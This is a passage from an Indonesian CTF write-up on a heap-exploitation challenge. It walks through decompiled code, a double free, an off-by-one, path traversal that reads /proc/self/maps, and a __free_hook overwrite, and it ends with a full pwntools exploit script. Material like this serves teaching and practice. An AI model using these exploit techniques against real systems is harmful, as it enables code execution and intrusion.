Intinya, fungsi kill akan free memory yang ada diheap, dan menandakan pointer tersebut dengan ‘2’ (yang berarti sudah mati). Akan tetapi, pointer tersebut tidak diNULLkan hingga user menjalankan fungsi next. Akan tetapi, kita tidak dapat free pointer tersebut dua kali sebab ada pengecekan ketika ingin membunuh sebuah makhluk yang sudah ditandai dengan ‘2’.

Pengecekan ini tidak ditemukan pada fungsi restart

void restart(void)
{
  int local_c;
  
  puts("");
  puts("Restarting.");
  local_c = 0;
  while (local_c < 0x800) {
    if (*(long *)(layout_addresses + (long)local_c * 8) != 0) {
      free(*(void **)(layout_addresses + (long)local_c * 8));
      *(undefined8 *)(layout_addresses + (long)local_c * 8) = 0;
    }
    local_c = local_c + 1;
  }
  puts("Done.");
  puts("");
  return;
}

Jadi fungsi kill dikombinasi dengan fungsi restart dapat double free sebuah pointer.

Kode save

Sebelum ditampilkan menu utama, sebenarnya terdapat menu untuk masukkan sebuah kode save. Berikut adalah contoh:

============================================================
=                  World Simulator v3.0.5                  =
============================================================

- Input a save code. If you don't have any just press enter.
Save code: 

- Please set your world size.
Width: 

Menu ini dipanggil setiap kali program dijalani dan setiap kali fungsi restart dipanggil. Berikut adalah dekompilasi dari fungsi untuk membaca kode save.

undefined8 get_save_file(void)
{
  int iVar1;
  char local_a;
  char local_9;
  
  puts("- Input a save code. If you don\'t have any just press enter.");
  printf("Save code: ");
  save_code = malloc(0x40);
  memcpy(save_code,"/tmp/",5);
  local_a = '\x05';
  while( true ) {
    iVar1 = getchar();
    local_9 = (char)iVar1;
    if (local_9 == '\n') {
      *(undefined *)((long)local_a + (long)save_code) = 0;
      return 1;
    }
    if (((local_9 < 'A') || ('z' < local_9)) || ((local_9 < 'a' && ('Z' < local_9)))) break;
    *(char *)((long)save_code + (long)local_a) = local_9;
    local_a = local_a + '\x01';
    if ('?' < local_a) {
      return 1;
    }
  }
  puts("Invalid save code. Only alphabets allowed.");
  puts("");
  while (local_9 != '\n') {
    iVar1 = getchar();
    local_9 = (char)iVar1;
  }
  free(save_code);
  return 0;
}

Secara bawaan, program tersebut membuat sebuah kode save yang akan ditempatkan di /tmp/. Program tersebut juga cek jika nama file tersebut hanya mengandung huruf, tidak boleh ada angka maupun karakter khusus. Jadi, kita tidak dapat melakukan directory traversal.

Akan tetapi, dengan double free tadi, kita bisa menyalahgunakan kode save.

Medapatkan LFI read

Sekarang mungkin anda berpikir, kenapa tidak salah gunakan tcache dan dapatkan RCE begitu? Bisa-bisa aja, tapi ternyata struktur dari sebuah makhluk tidak memperbolehkan hal itu terjadi. Berikut kira-kira struktur dari sebuah makhluk.

struct lifeform
{
  char name; // hanya sebuah char
  int vel_x;
  int vel_y;
  char[] desc; // Bukan pointer, melainkan datanya
};

Seperti bisa dilihat, kita tidak dapat mengubah pointer fd secara langsung, kita harus mencari cara lain. Sebelum itu, LFI!

Nah misal sekarang kita sudah mendapatkan double free untuk chunk yang didapatkan dari malloc(0x40), bagaimana kita bisa jadikan itu sebagai LFI read? Nah, berikut adalah dekompilasi dari fungsi save.

void save(void)
{
  char *__filename;
  FILE *__stream;
  int local_20;
  int local_1c;
  
  __filename = (char *)malloc(0x40);
  memcpy(__filename,"/tmp/",5);
  local_1c = 5;
  local_20 = 0;
  while (local_20 < 0x800) {
    if (((*(long *)(layout_addresses + (long)local_20 * 8) != 0) &&
        ('\x1f' < **(char **)(layout_addresses + (long)local_20 * 8))) &&
       (**(char **)(layout_addresses + (long)local_20 * 8) != '\x7f')) {
      __filename[local_1c] = **(char **)(layout_addresses + (long)local_20 * 8);
      local_1c = local_1c + 1;
      if (0x3f < local_1c) break;
    }
    local_20 = local_20 + 1;
  }
  __filename[local_1c] = '\0';
  __stream = fopen(__filename,"w");
  if (__stream != (FILE *)0x0) {
    local_20 = 0;
    while (local_20 < 0x800) {
      if (((*(long *)(layout_addresses + (long)local_20 * 8) != 0) &&
          ('\x1f' < **(char **)(layout_addresses + (long)local_20 * 8))) &&
         (**(char **)(layout_addresses + (long)local_20 * 8) != '\x7f')) {
        if (**(char **)(layout_addresses + (long)local_20 * 8) == ' ') {
          fputc(0x20,__stream);
        }
        fputc((int)**(char **)(layout_addresses + (long)local_20 * 8),__stream);
      }
      local_20 = local_20 + 1;
    }
    fclose(__stream);
  }
  return;
}

Wah terlihat sangat ribet, tapi menyimpulkan, itu intinya kita bisa save kesuatu file, dan nama file tersebut terdiri hanya dari konkatinasi nama semua makhluk yang sekarang kita punyai. Filename maksimal adalah sepanjang 0x40, dan hanya boleh berisi karakter di rentang 0x20-0x7e (spasi sampai tilda), yang berarti kita mungkin bisa melakukan directory traversal. Hal lain yang menarik adalah bahwa besar yang dimalloc sama besarnya dengan kode save.

Menggunakan double free, kita bisa membuat kode save dan file dari fungsi save menunjuk ke chunk yang sama, sehingga menunjuk ke string yang sama.

Berikut adalah dekompilasi dari fungsi load

void load(void)
{
  char cVar1;
  int iVar2;
  FILE *__stream;
  void *pvVar3;
  int local_14;
  
  __stream = fopen(save_code,"r");
  if (__stream != (FILE *)0x0) {
    local_14 = 0;
    while( true ) {
      iVar2 = _IO_getc((_IO_FILE *)__stream);
      cVar1 = (char)iVar2;
      if (cVar1 == -1) break;
      if (('\x1f' < cVar1) && (cVar1 != '\x7f')) {
        if (cVar1 == ' ') {
          local_14 = local_14 + 1;
        }
        else {
          pvVar3 = malloc(0x15);
          *(void **)(layout_addresses + (long)local_14 * 8) = pvVar3;
          **(char **)(layout_addresses + (long)local_14 * 8) = cVar1;
          *(undefined4 *)(*(long *)(layout_addresses + (long)local_14 * 8) + 4) = 0;
          *(undefined4 *)(*(long *)(layout_addresses + (long)local_14 * 8) + 8) = 0;
          local_14 = local_14 + 1;
        }
      }
    }
    fclose(__stream);
  }
  return;
}

Jika kita mengubah kode save, kita bisa melakukan LFI, dengan maksimal 0x40 panjang nama file.

Menurut daftar, kita hanya bisa melewati elemen pertama:
✓ Flag dapat dibaca dan namanya adalah flag/flag.txt
✗ Flag dapat dibaca dan namanya random
✗ Flag tidak dapat dibaca langsung, harus dapat RCE.

Tentunya, ada cara untuk mendapatkan RCE :)

Bug kedua

Terdapat off by one di fungsi spawn.

puts("- Input description.");
printf("Text length: ");
uVar3 = read_int();
if (((int)uVar3 < 0xc9) && (0 < (int)uVar3)) {
  iVar5 = width * iVar2;
  pvVar4 = malloc((long)(int)(uVar3 + 0xb));
  *(void **)(layout_addresses + (long)(iVar5 + iVar1) * 8) = pvVar4;
  printf("Description: ");
  iVar3 = my_read(local_e8,(ulong)uVar3,(ulong)uVar3);
  **(char **)(layout_addresses + (long)(iVar1 + width * iVar2) * 8) = local_ed[0];
  *(int *)(*(long *)(layout_addresses + (long)(iVar1 + width * iVar2) * 8) + 4) = local_108;
  *(int *)(*(long *)(layout_addresses + (long)(iVar1 + width * iVar2) * 8) + 8) = local_104;
  memcpy((void *)(*(long *)(layout_addresses + (long)(iVar1 + width * iVar2) * 8) + 0xc),
         local_e8,(long)iVar3);
}
else {
  puts("Invalid length.");
}

Memory yang dialokasikan sebesar panjang desc + 0xb, sedangkan desc mulai ditulis di alamat + 0xc, sehingga ada off by one.

Dengan off by one ini, kita bisa mendapatkan overlapping chunks, dan sebagai akibat kita bisa mendapatkan arbitrary write, menimpa free hook dengan one gadget dan mendapatkan RCE!

Leak?

Nah, karena PIE dihidupkan, mendapatkan leak lebih sulit. Panjang cerita, kita bisa mendapatkan leak dari suatu file. Dengan trik LFI yang sudah dijelaskan diatas, kita bisa membuka dan membaca file /proc/self/maps. File ini intinya hal yang muncul ketika menulis perintah info proc mappings di gdb.

Contoh:

pwn1810@2d1f2027d54d:~$ cat /proc/self/maps
55de5f98c000-55de5f98e000 r--p 00000000 08:02 28707441                   /bin/cat
55de5f98e000-55de5f993000 r-xp 00002000 08:02 28707441                   /bin/cat
55de5f993000-55de5f996000 r--p 00007000 08:02 28707441                   /bin/cat
55de5f996000-55de5f997000 r--p 00009000 08:02 28707441                   /bin/cat
55de5f997000-55de5f998000 rw-p 0000a000 08:02 28707441                   /bin/cat
55de618b7000-55de618d8000 rw-p 00000000 00:00 0                          [heap]
7fa7ffb3c000-7fa7ffb5e000 rw-p 00000000 00:00 0 
7fa7ffb5e000-7fa7ffb65000 r--s 00000000 08:02 28836792                   /usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache
7fa7ffb65000-7fa7ffb97000 r--p 00000000 08:02 28836518                   /usr/lib/locale/C.UTF-8/LC_CTYPE
7fa7ffb97000-7fa7ffbb9000 r--p 00000000 08:02 28836043                   /lib/x86_64-linux-gnu/libc-2.28.so
7fa7ffbb9000-7fa7ffd2a000 r-xp 00022000 08:02 28836043                   /lib/x86_64-linux-gnu/libc-2.28.so
7fa7ffd2a000-7fa7ffd76000 r--p 00193000 08:02 28836043                   /lib/x86_64-linux-gnu/libc-2.28.so
7fa7ffd76000-7fa7ffd77000 ---p 001df000 08:02 28836043                   /lib/x86_64-linux-gnu/libc-2.28.so
7fa7ffd77000-7fa7ffd7b000 r--p 001df000 08:02 28836043                   /lib/x86_64-linux-gnu/libc-2.28.so
7fa7ffd7b000-7fa7ffd7d000 rw-p 001e3000 08:02 28836043                   /lib/x86_64-linux-gnu/libc-2.28.so
7fa7ffd7d000-7fa7ffd83000 rw-p 00000000 00:00 0 
7fa7ffd89000-7fa7ffd8a000 r--p 00000000 08:02 28836025                   /lib/x86_64-linux-gnu/ld-2.28.so
7fa7ffd8a000-7fa7ffdaa000 r-xp 00001000 08:02 28836025                   /lib/x86_64-linux-gnu/ld-2.28.so
7fa7ffdaa000-7fa7ffdb2000 r--p 00021000 08:02 28836025                   /lib/x86_64-linux-gnu/ld-2.28.so
7fa7ffdb2000-7fa7ffdb3000 r--p 00028000 08:02 28836025                   /lib/x86_64-linux-gnu/ld-2.28.so
7fa7ffdb3000-7fa7ffdb4000 rw-p 00029000 08:02 28836025                   /lib/x86_64-linux-gnu/ld-2.28.so
7fa7ffdb4000-7fa7ffdb5000 rw-p 00000000 00:00 0 
7fffb054a000-7fffb056b000 rw-p 00000000 00:00 0                          [stack]
7fffb05b0000-7fffb05b3000 r--p 00000000 00:00 0                          [vvar]
7fffb05b3000-7fffb05b4000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0                  [vsyscall]

Dengan file ini, kita sudah memiliki semua leak yang diperlukan!

Overlapping chunks

Jika anda pernah baca how2heap repo github oleh shellphish, terdapat trik yang mereka jelaskan tentang cara untuk mendapatkan overlapping chunks. Akan tetapi trick yang mereka gunakan antara ketika tcache dimatikan atau pada chunk diluar tcache (yang lebih besar dari 0x400). Oleh karena itu saya tidak akan menggunakan trik overlapping chunks, tapi yang lain, yaitu House of Spirit.

Karena kita mengubah besarnya suatu chunk menjadi suatu nilai dari 0x00-0xff, daripada mengurangi kita bisa MEMPERBESAR ukuran dari suatu chunk. dengan chunk tcache, hampir tidak ada pengecekan pada trick house of spirit. Oleh karena itu, kita bisa memperbesar chunk menjadi ukuran berapapun, kemudian free chunk tersebut. Jika kita memperbesar ukuran dari chunk menjadi + 0x20 (atau size apapun), kita bisa free chunks itu, alokasikan lagi, dan chunk tersebut akan overlap chunk setelahnya,

Ilustrasi: Error

Nah sekarang aku cuma perlu ganti fd pointer, dan selesai. Arbitrary write.

Berikut exploit lengkap saya:



from pwn import *

p = process('./ziel')

def next():
  p.sendlineafter('>', '1')

def spawn(x_pos, y_pos, identifier, x_vel, y_vel, desc_len, desc):
  p.sendlineafter('>', '2')
  p.sendlineafter('X:', str(x_pos))
  p.sendlineafter('Y:', str(y_pos))
  p.sendlineafter('ID:', str(identifier))
  p.sendlineafter('X:', str(x_vel))
  p.sendlineafter('Y:', str(y_vel))
  p.sendlineafter('length:', str(desc_len))
  p.sendlineafter('Description:', str(desc))

def kill(x_pos, y_pos):
  p.sendlineafter('>', '3')
  p.sendlineafter('X:', str(x_pos))
  p.sendlineafter('Y:', str(y_pos))

def save():
  p.sendlineafter('>', '4')

def load():
  p.sendlineafter('>', '5')

def restart():
  p.sendlineafter('>', '6')


p.sendlineafter('code:', '')
p.sendlineafter('Width:', '40')
p.sendlineafter('Height:', '1')


# leak maps
spawn(19, 0, 'd', 0, 0, 0x40-0xb, 'a'*(0x40-0xb))
kill(19, 0)
restart()

p.sendlineafter('code:', 'asdf')
p.sendlineafter('Width:', '128')
p.sendlineafter('Height:', '16')

maps = '../proc/self/maps'
for i in range(len(maps)):
  spawn(i, 0, maps[i], 0, 0, 1, 'a')

save()
load()
next()

p.recvuntil('|')
binary_leak = int(p.recvuntil('-')[:-1], 16)
heap_leak = int(p.recvuntil('[heap]')[-83:-70], 16)
libc_leak = int(p.recvuntil('-')[:-1], 16)
print hex(binary_leak)
print hex(heap_leak)
print hex(libc_leak)

# get arbitrary write
for i in range(128):
  for j in range(16):
    kill(i, j)
next()

spawn(0, 0, 'd', 0, 0, 0x30-0xb-8, 'b')
spawn(1, 0, 'd', 0, 0, 0x30-0xb-8, 'b')
spawn(2, 0, 'd', 0, 0, 0x30-0xb-8, 'b')
spawn(3, 0, 'd', 0, 0, 0x30-0xb-8, 'b')
spawn(4, 0, 'd', 0, 0, 0x30-0xb-8, 'b')
kill(1, 0)
spawn(5, 0, 'd', 0, 0, 0x30-0xb-8, 'b'*(0x30-0xb-8-1) + '\x61')
kill(2, 0)
kill(3, 0)

# win
one_gadgets = [0x50186, 0x501e3, 0x103f50]
one_gadget = libc_leak + one_gadgets[2]
free_hook = libc_leak + 0x1e68e8

spawn(6, 0, 'd', 0, 0, 0x60-0xb-8, 'b'*(0x30-0xb-8-1) + p64(0x31) + p64(free_hook-0x10))
spawn(7, 0, 'd', 0, 0, 0x30-0xb-8, 'b')
spawn(8, 0, 'd', 0, 0, 0x30-0xb-8, 'a'*4 + p64(one_gadget)*2)
kill(0, 0)


p.interactive()
p.close()

Error

:D

Catatan tambahan

Terdapat bug double free yang kita bisa salah gunakan di fungsi next. Intinya, jika dua makhluk “tabrak”, mereka akan di free keduanya. Tidak ada pengecekan jika sebuah makhluk sudah “mati”, jadi dengan membunuh suatu makhluk dan kemudian ada makhluk lain yang tabrak dia, makhluk tersebut akan di double free.

Tidak ada tim yang solve soal ini ketika lomba berlangsung (Dari pengetahuan saya).




Akhir Kata

Ini adalah CTF favorit saya sampai sekarang. Ini menunjukkan selama setahun, saya sudah mempelajari lebih banyak dan bisa membuktikan bahwa saya sebisa pemain CTF lain di negaraku (:D), bahkan yang lebih tua dan lebih berpengalaman. Soal di tingkat ini keren, tapi saya gak rekomendasikan level ini sebagai standar soal Binex. Mungkin 1 atau 2 pada level ini untuk CTF tingkat Univ pls :v.

Kabari saya jika ingin writeup mengenai soal web, mungkin saya akan kerjain :v.